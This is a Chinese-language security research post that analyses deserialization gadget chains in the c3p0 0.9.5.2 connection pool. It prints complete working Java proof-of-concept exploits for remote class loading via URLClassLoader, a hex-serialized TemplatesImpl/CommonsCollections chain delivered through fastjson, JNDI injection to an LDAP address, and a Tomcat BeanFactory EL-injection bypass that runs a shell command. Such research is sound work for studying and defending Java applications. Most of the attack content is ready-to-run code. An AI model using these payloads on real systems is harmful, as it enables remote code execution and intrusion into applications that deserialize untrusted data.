C3P0

前言

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有HibernateSpring等。

本文主要对C3P0组件的三条常见反序列化调用链(HEX序列化字节加载器反序列化、URLClassLoader远程类加载、JNDI注入)及不出网情况下利用Tomcat原生类工厂进行EL表达式注入进行分析。

依赖版本为c3p0 v0.9.5.2。

Gadget

URLClassLoader

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject方法中会先判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,接着调用ReferenceSerialized#getObject方法,再强转换对象为ConnectionPoolDataSource。

但是ConnectionPoolDataSource类并不能反序列化,在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject方法中,由于不能序列化操作,会进入catch中,会调用com.mchange.v2.naming.ReferenceIndirector#indirectForm方法在序列化的内容上套一层。

com.mchange.v2.naming.ReferenceIndirector#indirectForm方法会返回一个ReferenceSerialized对象。

在反序列化时,实际上是调用com.mchange.v2.ser.IndirectlySerialized子类com.mchange.v2.naming.ReferenceIndirector中的getObject方法,进一步调用com.mchange.v2.naming.ReferenceableUtils#referenceToObject方法,通过URLClassLoader实例化远程类,造成任意代码执行。

总结

PoolBackedDataSource在序列化时可以序列化入一个任意Reference类,在PoolBackedDataSource反序列化时该Reference类中指定的对象会被URLClassLoader远程加载实例化。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package org.example.deserialize.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class URLClassLoader {

public static class EvilReference implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
return new Reference("Calculator", "Calculator", "http://127.0.0.1:8080/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
setFieldValue(poolBackedDataSourceBase, "connectionPoolDataSource", new EvilReference());

try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(poolBackedDataSourceBase);
outputStream.flush();
outputStream.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

HEX序列化字节加载器

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource的构造方法中会调用com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString方法,parseUserOverridesAsString方法先对传入的userOverrideAsString进行截取,将HASM_HEADER头和最后一位的;去除,将其视为十六进制数据转化成byte,再调用com.mchange.v2.ser.SerializableUtils#fromByteArray方法对其进行处理。

fromByteArray方法会调用deserializeFromByteArray方法对byte进行反序列化。

总结

在fastjson,jackson等环镜下,此Gadget更适合在不出网环境下利用,userOverridesAsString属性可控,导致可以从其setter方法setuserOverridesAsString开始到最后deserializeFromByteArray对其调用readObject进行反序列化,造成反序列化漏洞。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package org.example.deserialize.c3p0;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class HexBase {

public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("a");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, clazz);
ctConstructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(ctConstructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", null);

Map map1 = new HashMap();
InvokerTransformer invokerTransformer = new InvokerTransformer("h3", new Class[0], new Object[0]);
Map map2 = LazyMap.decorate(map1, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map2, templates);

HashSet hashSet = new HashSet(1);
hashSet.add("1");

Field field1;
try {
field1 = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
field1 = HashSet.class.getDeclaredField("backingMap");
}
field1.setAccessible(true);
HashMap hashMap = (HashMap) field1.get(hashSet);

Field field2;
try {
field2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
field2 = HashMap.class.getDeclaredField("elementData");
}
field2.setAccessible(true);
Object[] array = (Object[])field2.get(hashMap);

Object node = array[0];
if (node == null) {
node = array[1];
}

Field field3;
try {
field3 = node.getClass().getDeclaredField("key");
} catch (NoSuchFieldException e) {
field3 = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
field3.setAccessible(true);
field3.set(node, tiedMapEntry);

Field field4 = invokerTransformer.getClass().getDeclaredField("iMethodName");
field4.setAccessible(true);
field4.set(invokerTransformer, "newTransformer");

String string = toHexAscii(tobyteArray(hashSet));
String jsonString = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\":\"HexAsciiSerializedMap:" + string + ";\"\n" +
" }\n" +
"}";
JSON.parseObject(jsonString);
}

public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception {

Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
return out;
}

static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
}

JNDI注入

该条Gadget也是在fastjson,jackson环境中进行利用的,jndi注入适用于jdk8u191以下支持reference情况。

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference方法会调用javax.naming.InitialContext#lookup方法,当jndiName可控时,可造成JNDI注入。

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference方法在com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner方法中被调用。

JndiRefConnectionPoolDataSource类中有属性jndiname及其setter方法,其setter方法会调用内部的JndiRefForwardingDataSource对象的setJndiName方法,改变JndiRefForwardingDataSource#jndiname的值。

此外,JndiRefConnectionPoolDataSource类中有LoginTimeout属性及其setter方法,其setter方法会调用内部WrapperConnectionPoolDataSource对象的setLoginTimeout方法,追踪后会发现来到JndiRefForwardingDataSource#setLoginTimeout,进而调用com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner方法,完成上述利用链。

总结

在fastjson,jackson等环境下,调用JndiRefConnectionPoolDataSource类的jndiname,logintimeout属性setter方法,向jndiname传入恶意RMI服务器地址,然后调用logintimeout的setter方法使受害机去lookup设置好的jndiname中的恶意地址,造成JNDI注入。

POC

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.deserialize.c3p0;

import com.alibaba.fastjson.JSON;

public class JNDI {

public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

不出网利用

不论是URLClassLoader加载远程类,还是JNDI注入,都需要目标机器能够出网,而HEX序列化字节加载器反序列化的利用方式虽然不用出网,但却需要有Fastjson、Jackson等相关依赖。

在JNDI高版本利用中,可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance方法,例如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入。

在URLClassLoader远程类加载利用方式中,当实例化完恶意类后,会调用ObjectFactory#getObjectInstance。由于可以实例化任意类,所以可以将该类设置为本地的BeanFactory类,当存在Tomcat8相关依赖环境时,可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package org.example.deserialize.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class TomcatELBypass {

public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
setFieldValue(poolBackedDataSourceBase, "connectionPoolDataSource", new EvilReference());

try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(poolBackedDataSourceBase);
outputStream.flush();
outputStream.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
inputStream.readObject();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}

public static class EvilReference implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "open -a Calculator";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"+ cmd +"']).start()\")"));
return ref;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

}